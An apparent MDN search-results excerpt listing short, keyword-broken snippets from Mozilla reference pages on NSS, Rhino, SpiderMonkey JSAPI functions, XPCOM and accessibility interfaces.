fromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc ssl functions based on "ssl functions" in the ssl reference and "ssl functions" and "deprecated ssl functions" in nss public functions.
S/MIME functions
nss_cmsenvelopeddata_getcontentinfo mxr 3.2 and later nss_cmsmessage_contentlevel mxr 3.2 and later nss_cmsmessage_contentlevelcount mxr 3.2 and later nss_cmsmessage_copy mxr 3.2 and later nss_cmsmessage_create mxr 3.2 and later nss_cmsmessage_create
fromder mxr 3.2 and later nss_cmsmessage_destroy mxr 3.2 and later nss_cmsmessage_getcontent mxr 3.2 and later nss_cmsmessage_getcontentinfo mxr 3.2 and later nss_cmsmessage_isencrypted mxr 3.4.1 and later nss_cmsmessage_issigned mxr 3.4 and later ...
... nss_cmsrecipientinfo_create mxr 3.2 and later nss_cmsrecipientinfo_create
fromder mxr 3.8 and later nss_cmsrecipientinfo_createnew mxr 3.8 and later nss_cmsrecipientinfo_createwithsubjkeyid mxr 3.7 and later nss_cmsrecipientinfo_createwithsubjkeyid
fromcert mxr 3.7 and later nss_cmsrecipientinfo_destroy mxr 3.2 and later nss_cmsrecipientinfo_encode mxr 3.8 and later nss_cmsrecipientinfo_getcertandkey mxr 3.8 and later nss_cmsrecipientinfo_unwrapbulkkey mxr 3.7.2 and later nss_cmsrecipientinfo_wrapbulkkey mxr 3.7.2 and la...
NSS Tools
if you have feedback or questions, please feel
free to post to mozilla.dev.tech.crypto.
... migrate tools
from secutil.h interface to pkcs #11 interface.
Network Security Services
for a list of
frequently asked questions, see the faq.
... additional information using the window.crypto object
from javascript delegation of http download for ocsp tls cipher suite discovery nss certificate download specification fips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: fips validation nss roadmap page nss improvemen...
Pork Tool Development
cppsourceloc will change the previously provided location information (in variable cpp_source_loc._loc)
from post-location to pre-location.
... all values
from the ast refer to the post-location.
Rhino documentation
faq answers to
frequently asked questions about rhino.
... using rhino with bean scripting
framework (bsf) how to use rhino with apps that support bsf (bean scripting
framework)
from the apache jakarta project.
Rhino FAQ
frequently asked questions about rhino how do i create a java array
from javascript?
...however, a java-based browser may use rhino with scripts
from a page in the same manner that any other java program would.
Rhino JavaScript compiler
compiler command line java org.mozilla.javascript.tools.jsc.main [options] file1.js [file2.js...] where options are: -extends java-class-name specifies that a java class extending the java class java-class-name should be generated
from the incoming javascript source file.
... -implements java-intf-name specifies that a java class implementing the java interface java-intf-name should be generated
from the incoming javascript source file.
Rhino overview
internationalization the messages reported by the javascript engine are by default retrieved
from the property file org/mozilla/javascript/resources/messages.properties.
...the class context should be obtained
from the security manager (see java.lang.securitymanager.getclasscontext()).
Rhino serialization
we want to be able to serialize a javascript object and then deserialize it into a new scope and have all of the references
from the deserialized object to prototypes and parent scopes resolved correctly to refer to objects in the new scope.
...if you are using rhino serialization in an environment where you always define, say, a constructor foo, you should add the following code before calling writeobject: out.addexcludedname("foo"); out.addexcludedname("foo.prototype"); this code will prevent foo and foo.prototype
from being serialized and will cause references to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization.
Shumway
it is expected to be included in firefox at some point to allow plugin-
free compatibility with swf-based games and animations.
...
from the main page for shumway at github, click on "issues" and browse the outstanding issues for similar bugs to contribute to.
Creating JavaScript jstest reftests
when importing test262, the test file's in-file metadata is translated
from test262 format to a format readibly by the jstest harness.
...additionally, it loads every shell.js and broswer.js file in the subdirectories on the path
from js/src/tests to the location of your test.
Creating JavaScript tests
please keep in mind that the javascript test suite is run on a wide variety of wildly varying hardware plaforms,
from phones all the way up to servers.
...these tests will also show up as in
frequent oranges on our heavily loaded test machines, lowering the value of our test suite for everyone.
Future directions
going forward
from now, the api will likely be semi-stable, but there is no guarantee.
... the public api is gradually moving
from jsapi.h and js
friendapi.h into header files in js/public.
JS::AutoVectorRooter
void popback() pops an element
from the array.
... t popcopy() pops an element
from the array and returns it.
JS::Call
e rval); bool js::call(jscontext *cx, js::handlevalue thisv, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue thisv, js::handleobject funobj, const js::handlevaluearray& args, js::mutablehandlevalue rval); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...on success, *rval receives the return value
from the function call.
JS::CompileFunction
this article covers features introduced in spidermonkey 17 create a javascript function
from a text string.
... description js::compilefunction compiles a function
from a text string chars, bytes, or srcbuf.
JS::CompileOffThread
const char16_t *chars, size_t length, js::offthreadcompilecallback callback, void *callbackdata); jsscript * js::finishoffthreadscript(jscontext *maybecx, jsruntime *rt, void *token); typedef void (*js::offthreadcompilecallback)(void *token, void *callbackdata); name type description cx / maybe jscontext * pointer to a js context
from which to derive runtime information.
...if maybecx is not specified, the resources will be
freed, but no script will be returned.
JS::Construct
syntax bool js::construct(jscontext *cx, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...on success, *rval receives the newly created object
from the constructor call.
JS::CreateError
message, mutablehandlevalue rval); // obsolete since jsapi 39 bool js::createerror(jscontext *cx, jsexntype type, handlestring stack, handlestring filename, uint32_t linenumber, uint32_t columnnumber, jserrorreport *report, handlestring message, mutablehandlevalue rval); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... see also mxr id search for js::createerror jsexntype jserrorreport bug 984048 bug 1038238 -- change stack parameter
from js::handlestring to js::handleobject ...
JS::DeflateStringToUTF8Buffer
in which case, the function will encode characters
from the string until the buffer is exhausted.
...eturn false; js::rooted<jsflatstring*> flatstr(cx, js_flattenstring(cx, str)); if (!flatstr) return false; size_t length = js::getdeflatedutf8stringlength(flatstr); char* buffer = static_cast<char*>(js_malloc(cx, length + 1)); if (!buffer) return false; js::deflatestringtoutf8buffer(flatstr, mozilla::rangedptr<char>(buffer, length)); buffer[length] = '\0'; printf("utf8: [%s]\n", buffer); js_
free(cx, buffer); see also js::getdeflatedutf8stringlength bug 1034627 bug 1271014 -- added dstlenp and numcharsp ...
JS::PropertySpecNameToPermanentId
syntax bool js::propertyspecnametopermanentid(jscontext *cx, const char *name, jsid *idp); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... description js::propertyspecnametopermanentid creates a jsid that does not need to be marked for gc
from jspropertyspec::name or jsfunctionspec::name.
JSErrorReport
ismuted bool the web platform allows scripts to be loaded
from arbitrary cross-origin sources.
...we check the strictness of the context's top
frame's script; where that isn't appropriate, the caller should do the right checks itself instead of using this flag.
JSFinalizeOp
syntax typedef void (* jsfinalizeop)(js
freeop *fop, jsobject *obj); name type description cx jscontext * the js context in which garbage collection is taking place.
...any jsapi call that would allocate memory
from the gc heap will fail if called
from a finalizer.
JSObject
an object inherits properties, including methods,
from its prototype (which is another object).
...the term own property refers to a property of an object that is not inherited
from its prototype.
JSObjectOps.dropProperty
details of the api may change
from one release to the next.
... the lifetime of the jsproperty * extends
from the successful defineproperty or lookupproperty call to the dropproperty call.
JSObjectOps.getAttributes
details of the api may change
from one release to the next.
...if prop is non-null, it must come
from the *propp out parameter of a prior jsobjectops.defineproperty or jsobjectops.lookupproperty call.
JSObjectOps.lookupProperty
details of the api may change
from one release to the next.
...if id was found, return the first object searching
from obj along its prototype chain in which id names a direct property in *objp, and return a non-null, opaque property pointer in *propp.
JSObjectOps.newObjectMap
details of the api may change
from one release to the next.
... create a new instance of (a concrete subclass of) jsobjectmap (see jsobj.h), with the nrefs and ops members initialized
from the same-named parameters, and with the nslots and
freeslot members initialized according to ops and clasp.
JSObjectPrincipalsFinder
the two debugger functions js_stack
frameprincipals and js_eval
frameprincipals also use this callback.
... the callback returns a pointer to the principals associated with obj, possibly via the immutable parent chain leading
from obj to a top-level container (such as a window object in the dom).
JS_AddFinalizeCallback
callback syntax typedef enum jsfinalizestatus { jsfinalize_group_start, jsfinalize_group_end, jsfinalize_collection_end } jsfinalizestatus; typedef void (* jsfinalizecallback)(js
freeop *fop, jsfinalizestatus status, bool iscompartment, void *data); name type description fop js
freeop * a pointer to an instance of js
freeop.
... see also mxr id search for js_addfinalizecallback mxr id search for js_removefinalizecallback mxr id search for jsfinalizestatus mxr id search for jsfinalize_group_start mxr id search for jsfinalize_group_end mxr id search for jsfinalize_collection_end mxr id search for jsfinalizecallback js
freeop js_setgccallback bug 723286 - separated
from js_setgccallback as js_setfinalizecallback bug 996785 - replaced with js_addfinalizecallback ...
JS_ClearNewbornRoots
clear a context's newborn roots, which temporarily protect newly allocated values
from garbage collection.
...these newborn roots help native code protect newly-created gc-things
from gc invocations activated before those things can be rooted using local or global roots.
JS_ClearNonGlobalObject
obj jsobject * object
from which to delete all properties.
...to remove a single property
from an object, use js_deleteproperty.
JS_ClearScope
obj jsobject * object
from which to delete all properties.
...to remove a single property
from an object, use js_deleteproperty.
JS_CompileFunction
creates a javascript function
from a text string.
... description js_compilefunction compiles a function
from a text string, bytes, and optionally associates it with a js object, obj.
JS_CompileFunctionForPrincipals
create a security-enabled js function
from a text string.
... description js_compilefunctionforprincipals compiles a security-enabled function
from a text string, bytes, and associates it with a js object, obj.
JS_ConvertArguments
it saves you
from having to write separate tests and elaborate if...else statements in your function code to retrieve and translate multiple js values for use with your own functions.
...if an optional argument is missing
from argv, js_convertarguments neither assigns anything to any variable nor reports an error.
JS_DecompileScript
if the script is not cached, it tries to load the source
from file, and returns nullptr if an error happened while loading.
...
from spidermonkey 17, this does not actually decompile the script, but returns the original source code (bug 761723).
JS_DestroyScript
free a compiled script that is no longer needed.
... description js_destroyscript destroys the given compiled script,
freeing the memory allocated to it.
JS_DropExceptionState
syntax void js_dropexceptionstate(jscontext *cx, jsexceptionstate *state); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... description this function destroys the specified jsexceptionstate object, unrooting as necessary any attached exception object and
freeing the memory resources associated with the jsexceptionstate object.
JS_DumpNamedRoots
syntax void js_dumpnamedroots(jsruntime *rt, void (*dump)(const char *name, void *rp, void *data), void *data); name type description rt jsruntime * pointer to a jsruntime
from which to dump named roots.
...the javascript engine does not read
from or write to this pointer at all.
JS_EncodeString
otherwise the high byte is simply dropped
from each char16_t.
...the caller may modify it and is responsible for
freeing it.
JS_EvaluateScriptForPrincipals
on success, *rval receives the value
from the last-executed expression statement in the script.
... if the script compiles and executes successfully, *rval receives the value
from the last-executed expression statement processed in the script, and js_evaluatescriptforprincipals or js_evaluateucscriptforprincipals returns js_true.
JS_ExecuteScriptVersion
on success, *rval receives the value
from the last executed expression statement processed in the script.
... if the script executes successfully, *rval receives the value
from the last executed expression statement processed in the script, and js_executescript returns true.
JS_GetArrayPrototype
syntax jsobject * js_getarrayprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context
from which to derive runtime information.
... forobj js::handleobject an object
from the global whose array.prototype is being retrieved.
JS_GetFunctionPrototype
syntax jsobject * js_getfunctionprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context
from which to derive runtime information.
... forobj js::handleobject an object
from the global whose function.prototype is being retrieved.
JS_GetObjectPrototype
syntax jsobject * js_getobjectprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context
from which to derive runtime information.
... forobj js::handleobject an object
from the global whose object.prototype is being retrieved.
JS_GetPropertyAttributes
name const char * or const jschar * name of the property
from which to retrieve attributes.
... if obj does not have the specified property, or if it inherits it
from some other object (on its prototype chain, for example), then *foundp is set to js_false.
JS_GetPrototype
syntax bool js_getprototype(jscontext *cx, js::handleobject obj, js::mutablehandleobject protop); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...this is the equivalent of object.getprototypeof(obj)
from javascript.
JS_GetReservedSlot
it's only legal to store and retrieve data
from private values.
... they cannot be returned
from functions, set as properties on objects, embedded in javascript arrays, and so on.) new objects' reserved slots are initialized to undefined.
JS_GetStringCharAt
this article covers features introduced in spidermonkey 38 return a specified character
from a string.
... description js_getstringcharat and js_getflatstringcharat get the specified character
from the string str.
JS_GetStringChars
str jsstring * the string to obtain characters
from.
...(eventually, str becomes unreachable, the garbage collector collects it, and the array is
freed by the system.) js_getstringcharsz is the same except that it always returns either a null-terminated string or null, indicating out-of-memory.
JS_HasArrayLength
syntax jsbool js_hasarraylength(jscontext *cx, jsobject *obj, jsuint *lengthp); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...this function differs
from js_getarraylength in the treatment of errors and unusual cases, like when an object's length is negative or not a number.
JS_InitClass
object * js_initclass(jscontext *cx, js::handleobject obj, js::handleobject parent_proto, const jsclass *clasp, jsnative constructor, unsigned nargs, const jspropertyspec *ps, const jsfunctionspec *fs, const jspropertyspec *static_ps, const jsfunctionspec *static_fs); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...the prototype object inherits properties and methods
from the parent_proto object you provide.
JS_InternString
get an interned string - a jsstring that is protected
from gc and automatically shared with other code that needs a jsstring with the same value.
...strings created with these functions are protected
from garbage collection for the lifetime of the jsruntime.
JS_IsConstructing
description js_isconstructing must be called only
from a jsnative called
from the engine.
...js_isconstructing returns js_true if the native was defined with jsfun_constructor (js_initclass automatically sets that flag when defining a constructor) and it was called as a constructor, either
from javascript, using the new keyword, or
from c/c++ using a jsapi function such as js_constructobject.
JS_LeaveLocalRootScopeWithResult
rval jsval the result value that should remain protected
from garbage collection.
...in any case, all other newborn values protected by the local root scope, aside
from rval, become subject to garbage collection.
JS_LookupProperty
ar *name, unsigned flags, js::mutablehandlevalue vp); bool js_lookuppropertywithflagsbyid(jscontext *cx, js::handleobject obj, js::handleid id, unsigned flags, js::mutablehandleobject objp, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...js_lookupproperty differs
from js_getproperty in that js_lookupproperty does not invoke the get handler for the property.
JS_MapGCRoots
syntax uint32 js_mapgcroots(jsruntime *rt, jsgcrootmapfun map, void *data); callback syntax #define js_map_gcroot_next 0 /* continue mapping entries */ #define js_map_gcroot_stop 1 /* stop mapping entries */ #define js_map_gcroot_remove 2 /* remove and
free the current entry */ typedef int (*jsgcrootmapfun)(void *rp, const char *name, void *data); description call js_mapgcroots to map the gc's roots table using map(rp, name, data).
... the root is pointed at by rp; if the root is unnamed, name is null; data is supplied
from the third parameter to js_mapgcroots.
JS_NewArrayObject
if vector is non-null, then for each index i
from 0 to length - 1, js_newarrayobject defines an enumerable array element with the value vector[i] on the new array.
...this avoids unrooted jsvals in vector
from being subject to garbage collection until the new object has been populated.
JS_NewObject
if clasp is non-null, the caller must ensure that the jsclass remains alive throughout the lifetime of the new object, including the garbage collection cycle that finally
frees it.
...however, although javascript code can
freely redefine constructors, the ecmascript standard requires us in certain cases to use the original constructors' prototypes.
JS_NewScriptObject
as long as the script object is reachable, the jsscript and its components are protected
from garbage collection; when the script object is collected, the jsscript and its contents are
freed.
... (the name "js_newscriptobject" suggests that the script object is
freshly allocated; this was the case in older versions of the api, but now the script object is allocated along with the jsscript itself.) (some temporary scripts used internally by spidermonkey do not have script objects allocated for them; such scripts are not accessible via jsapi.) see also the jsapi user guide contains example code using compiled scripts.
JS_ReportError
syntax void js_reporterror(jscontext *cx, const char *format, ...); bool js_reportwarning(jscontext *cx, const char *format, ...); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...first it builds an error message
from the given sprintf-style format string and any additional arguments passed after it.
JS_ReportErrorNumber
description these functions create a jserrorreport, populate it with an error message obtained
from the given jserrorcallback, and either report it to the current error reporter callback or create an error object and set it as the pending exception.
...the source code seems to say we ignore the .exntype, actually, but surely i'm just missing something.) otherwise, if any javascript code is running in cx (for example, if the caller is a jsnative that was called
from a script), then an error object is created and becomes the pending exception.
JS_SameValue
samevalue slightly differs
from strict equality (===) in that +0 and -0 are not the same and in that nan is the same as nan.
...1 !== v1 && v2 !== v2) return true; return v1 === v2; } syntax // added in spidermonkey 45 bool js_samevalue(jscontext *cx, js::handle<js::value> v1, js::handle<js::value> v2, bool *same); // obsolete since jsapi 39 bool js_samevalue(jscontext *cx, jsval v1, jsval v2, bool *same); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
JS_ScheduleGC
frequency uint32_t the value of nextscheduled parameter of gc.
... at this point, if zeal is one of the types that trigger periodic collection, then nextscheduled is reset to the value of
frequency.
JS_SetBranchCallback
in js_threadsafe builds, the javascript engine calls this callback only
from within an active request on cx.
... the callback is called very
frequently, so applications should ensure that the callback runs very quickly most of the time.
JS_SetFunctionCallback
syntax void js_setfunctioncallback(jscontext *cx, jsfunctioncallback fcb); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...the call stack cannot be relied upon, because this callback may be invoked
from the jit code when the stack
frame and context are in an indeterminate state.
JS_SetICUMemoryFunctions
syntax bool js_seticumemoryfunctions(js_icuallocfn allocfn, js_icureallocfn reallocfn, js_icu
freefn
freefn); type description allocfn js_icuallocfn an allocation function.
...
freefn js_icu
freefn a
free function.
JS_SetOptions
to turn individual options on or off, use js_setoptions with js_getoptions: // turn on warnings for dubious practices js_setoptions(cx, js_getoptions(cx) | jsoption_extra_warnings); // turn off those extra warnings js_setoptions(cx, js_getoptions(cx) & ~jsoption_extra_warnings); the options parameter and the return value are the logical or of zero or more constants
from the following table: option description jsoption_extra_warnings warn on dubious practice.
... mxr id search for jsoption_native_branch_callback jsoption_dont_report_uncaught when returning
from the outermost api call, prevent uncaught exceptions
from being converted to error reports.
JS_SetPrivate
in particular: if you allocate memory for private data, you must
free it, typically in a jsclass.finalize callback.
... use js_getinstanceprivate to safely extract the private data
from an object.
JS_SetProperty
e v); bool js_setucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::handlevalue v); bool js_setpropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::handlevalue v); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... if the lookup found no property with the given name, or if it found that obj inherits such a property
from a non-native object, then a new own property is added to obj, as described below.
JS_SetVersion
syntax jsversion js_setversion(jscontext *cx, jsversion version); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...the version comes
from the jsversion enumerated type.
JS_ShutDown
free all resources used by the js engine, not associated with specific runtimes.
... syntax void js_shutdown(void); description destroys all
free-standing resources allocated by spidermonkey, not associated with any jsruntime, jscontext, or other structure.
JS_updateMallocCounter
nbytes size_t number of bytes to decrement
from malloc counter.
...it runs
from maxmallocbytes down to zero.
JSDBGAPI
ttrapopcode js_cleartrap js_clearscripttraps js_clearalltraps js_handletrap js_setinterrupt js_clearinterrupt watchpoints js_setwatchpoint js_clearwatchpoint js_clearwatchpointsforobject js_clearallwatchpoints inspecting the stack js_pctolinenumber js_linenumbertopc js_getfunctionscript js_getfunctionnative js_getfunctionfastnative js_getscriptprincipals typedef jsstack
frame js_
frameiterator js_get
framescript js_get
framepc js_getscriptedcaller js_stack
frameprincipals js_eval
frameprincipals js_get
frameannotation js_set
frameannotation js_get
frameprincipalarray js_isnative
frame js_get
frameobject js_get
framescopechain js_get
framecallobject js_get
framethis js_get
framefunction js_get
framefunctionobject js_isconstructor
frame js_isdebugger
frame js_get...
...
framereturnvalue js_set
framereturnvalue js_get
framecalleeobject js_getscriptfilename js_getscriptbaselinenumber js_getscriptlineextent js_getscriptversion js_gettopscriptfilenameflags js_getscriptfilenameflags js_flagscriptfilenameprefix jsfilename_null jsfilename_system jsfilename_protected evaluating debug code js_evaluateinstack
frame examining object properties typedef jspropertydesc jspd_enumerate jspd_readonly jspd_permanent jspd_alias jspd_argument jspd_variable jspd_exception jspd_error typedef jspropertydescarray js_propertyiterator js_getpropertydesc js_getpropertydescarray js_putpropertydescarray hooks js_setdebuggerhandler js_setsourcehandler js_setexecutehook js_setcallhook js_setobjecthook js_setthrowhook js_setdebu...
Parser API
node objects by default, reflect.parse() produces node objects, which are plain javascript objects (i.e., their prototype derives
from the standard object prototype).
... builder objects the optional builder parameter to reflect.parse() makes it possible to construct user-specified data
from the parser, rather than the default node objects.
compare-locales
the easiest way is to just run $ pip install -u compare-locales running it compare-locales gathers the directories to compare
from a toml file, usually found in $app/locales/l10n.toml.
... ab-cd browser chrome/browser browser.dtd +backforwardmenu.tooltip +fullzoomenlargecmd.commandkey3 +fullzoomreducecmd.commandkey2 +fullzoomresetcmd.commandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -import
fromfile.accesskey -import
fromfile.label +import
fromhtmlfile.accesskey +import
fromhtmlfile.label you can assume changed strings when you see entities removed and added with a similar name.
Task graph
the outputs
from each task, log files, firefox installers, and so on, appear attached to each task when it completes.
... all of this is controlled
from within the gecko source code, through a process called task-graph generation.
Embedded Dialog API
these new windows can be entire new browser windows opened in response to web page script, or dialogs or alerts which may arise
from script or merely during normal operation of the browser.
...gecko can use the latter to pose dialogs built
from xul.
Mork
the meta-row of the table (different
from the meta-row of a row) contains a few things you might care about.
...a minus sign before a row or rowreference indicates that said row should be removed
from the table.
The Places database
it contains the host url,
frequency of access, if typed or not, and it's prefix (https://, ftp://, etc).
... if the mime type of the image is image/png, the data blob must be reencoded
from base16 (the format in which it is stored) to base64 in order to display correctly.
Using the Places tagging service
untagging a uri nsitaggingservice.untaguri() removes tags
from a url.
...
from the given set of tags, a tag is ignored if it isn't set for the given url.
XPCOM Glue without mozalloc
starting with xulrunner 2.0, the
frozen linkage dependent glue (xpcomglue_s.lib on windows, libxpcomglue_s.a on linux and mac) is dependent on the new infallible memory allocation routines (mozalloc).
... since these routines didn't exist prior to xulrunner 2.0, xpcom components that link against the
frozen linkage dependent glue will not be compatible with xulrunner applications prior to 2.0.
Making cross-thread calls using runnables
typically, thread activities are triggered and managed using an xpcom event-passing
framework that uses the nsirunnable interface.
... // but thread->shutdown must be called
from the main thread, not
from the thread itself.
How To Pass an XPCOM Object to a New Window
a more useful example is available in the source code: toolkit/components/help/content/contexthelp.js#61 if you want to be able to call functions within an xpcom object
from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method.
...to access the xpcom object
from the window's code, you can access the window.arguments[] array, as shown in the example below: components.utils.reporterror(string(window.arguments[0])); this will produce output similar to "[xpconnect wrapped nsimyxpcomobject]".
Components.Constructor
another important benefit is that it precomputes some of the computation it does, so using a function returned
from components.constructor() to create xpcom objects is faster than creating the object
from base principles, as demonstrated below.
...tstream"); try { // throws, because number of arguments isn't equal to the number of // arguments nsibinaryinputstream.setinputstream takes var bis = new binaryinputstream(); } catch (e) { // someinputstream is an existing nsiinputstream bis = new binaryinputstream(someinputstream); // succeeds var bytes = bis.readbytearray(somenumberofbytes); // succeeds } compare instance creation
from base principles with instance creation using components.constructor(); the latter is much easier to read than the former (particularly if you're creating instances of a component in many different places): var bis = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // as...
Components.utils.forceGC
in this case it can be important to be able to force a garbage collection cycle
from javascript.
... another instance where it can be useful to force garbage collection is before cleaning out dead reference
from a hash of weak javascript references.
Components.utils.import
gecko 2.0 adds support for loading modules
from chrome: urls, even those inside jar archives.
... example components.utils.import("resource://gre/modules/xpcomutils.jsm", this); difference
from mozijssubscriptloader the differences
from mozijssubscriptloader: the behavior when importing/loading the same code
from different locations: the subscript loader evaluates the specified code each time it is invoked, with the caller's global object.
JavaXPCOM
with javaxpcom, a developer can talk to xpcom or embed gecko
from a java application.
... sample code there are several java test applications checked in to the tree that give examples on how to embed gecko or init xpcom
from within java.
PyXPCOM
with pyxpcom, a developer can talk to xpcom or embed gecko
from a python application.
...pyxpcom also contains several classes that provide access to functions for initializing and shutting down xpcom and gecko
from python, as well as some xpcom helper functions.
Profiling XPCShell
unt of the function; the call count of the function; the functions name; the starting line number; the ending line number; the function's size; the amount of time (in milliseconds) the fastest call took; the time of the slowest call; the average time spend; the total time; the time spend in the function itself is given (that is the total time excluding the time spend in functions called
from this function).
... notes you need a trunk build
from after 2007-05-28.
XPCShell Reference
the following are some useful functions that can be invoked
from the command line: clear(object) clear() removes all properties
from an object.
... load(scriptfilename) load() allows you to load and run a script
from the command line.
NS_Alloc
it is equivalent to calling alloc on the nsimemory instance returned
from ns_getmemorymanager.
...see also ns_
free, nsimemory, ns_getmemorymanager ...
NS_Realloc
asize [in] the size in bytes of the block to allocate, or zero if the given block is to be
freed.
...it is equivalent to calling realloc on the nsimemory instance returned
from ns_getmemorymanager.
nsCOMPtr
« xpcom api reference summary this utility class simplifies managing xpcom interface references
from c++ code.
...the class itself and the supporting functions that are used with it are not
frozen, but they are available as part of the xpcom glue library for easy reuse.
nsCStringEncoding
ns_cstring_encoding_native_filesystem conversion
from utf-16 to the native filesystem charset may result in a loss of information.
... history this enumeration was
frozen for mozilla 1.7.
nsCountedRef
nscountedref<t> is derived
from nsautoref<t> and so inherits its methods.
... nscountedref differs
from nsautoref in that nscountedref constructors add a reference to the resource, and in that nscountedref provides copy construction< and assignment operators enabling more than one concurrent reference to the same resource.
Alloc
the result must be
freed with a call to nsmemory::
free() when it is no longer needed.
... see also nsmemory::
free() ...
Clone
the result must be
freed with a call to nsmemory::
free when it is no longer needed.
... see also nsmemory::
free ...
nsSupportsWeakReference
« xpcom api reference summary inherit
from this c++ class to add canonical support for nsisupportsweakreference.
...}; remarks in addition to inheriting
from this class, you will need to ensure that your nsisupports::queryinterface implementation exposes nsisupportsweakreference as a supported interface.
IAccessibleApplication
1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) this interface provides the at with the information it needs to differentiate this application
from other applications,
from other versions of this application, or
from other versions of this application running on different versions of an accessibility bridge or accessibility toolkit.
... servers implementing iaccessible2 should provide access to the iaccessibleapplication interface via queryservice
from any object so that ats can easily determine specific information about the application such as its name or version.
IAccessibleHypertext
1.0 66 introduced gecko 1.9 inherits
from: iaccessibletext last changed in gecko 1.9 (firefox 3) the iaccessiblehypertext interface is the main interface to expose hyperlinks in a document, typically a text document, that are used to reference other documents.
...hyperlink if the given index is valid, that is it lies in the interval
from 0 to the number of links minus one, a reference to the specified hyperlink object is returned.
IAccessibleRelation
1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) method overview [propget] hresult localizedrelationtype([out] bstr localizedrelationtype ); [propget] hresult ntargets([out] long ntargets ); [propget] hresult relationtype([out] bstr relationtype ); [propget] hresult target([in] long targetindex, [out] iunknown target ); [propget] hresult targets([in] long maxtargets, [out, size_is(maxtargets), length_is( ntargets)] iunknown targets, [out] long ntargets ); methods localizedrelationtype() returns a localized version of the relation type.
...note that this array is to be allocated by the client and
freed when no longer needed.
imgILoader
inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a service: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidec...
...imgirequest loadimagewithchannel( in nsichannel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamlistener alistener ); parameters achannel the channel to load the image
from.
mozIPlacesAutoComplete
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void registeropenpage(in nsiuri auri); void unregisteropenpage(in nsiuri auri); constants constant value description match_anywhere 0 match anywhere in each searchable term.
... unregisteropenpage() mark a page as no longer being open (either by closing the window or tab, or by navigating away
from that page).
mozIStorageCompletionCallback
this interface should be implemented to handle callbacks
from asynchronous storage api routines.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits
from: nsisupports method overview void complete(); methods complete() called when an asynchronous storage routine has completed.
mozIStorageStatementParams
this interface has no defined properties, but has properties based on the named parameters found in the sql
from the statement it was accessed off of.
... for example, say you create a statement like so: var statement = dbconn.createstatement("select *
from table_name where id = :item_id"); this object would have one property, item_id, that you can use to bind a value to that named parameter like so: statement.params.item_id = 2; for more details on why you should bind parameters as opposed to hard-coding them into your statement, please see the overview document about binding parameters.
mozIStorageStatementRow
this interface has no defined properties, but has properties based on the name of the columns in the sql result
from the statement it was accessed off of.
... for example, say you create a statement like so: var statement = dbconn.createstatement("select id, name
from table_name"); the object would have two properties, id and name, that can be used to get the value of the column after you have called mozistoragestatement.executestep() like so: while (statement.executestep()) { let id = statement.row.id; let name = statement.row.name; } see also storage mozistoragestatement ...
mozIStorageStatementWrapper
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsisupports method overview void initialize(in mozistoragestatement astatement); void reset(); boolean step(); void execute(); attributes attribute type description statement mozistoragestatement the statement that is wrapped.
...useful only
from script.
nsIAboutModule
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long geturiflags(in nsiuri auri); nsichannel newchannel(in nsiuri auri); constants constant value description uri_safe_for_untrusted_content (1 << 0) a flag that indicates whether a uri is safe for untrusted content.
... hide_
from_aboutabout (1 << 2) a flag that indicates whether this about: uri doesn't want to be listed in about:about, especially if it's not useful without a query string.
nsIAccessible
layout oriented methods nsiaccessible.getchildatpoint() to get child accessible
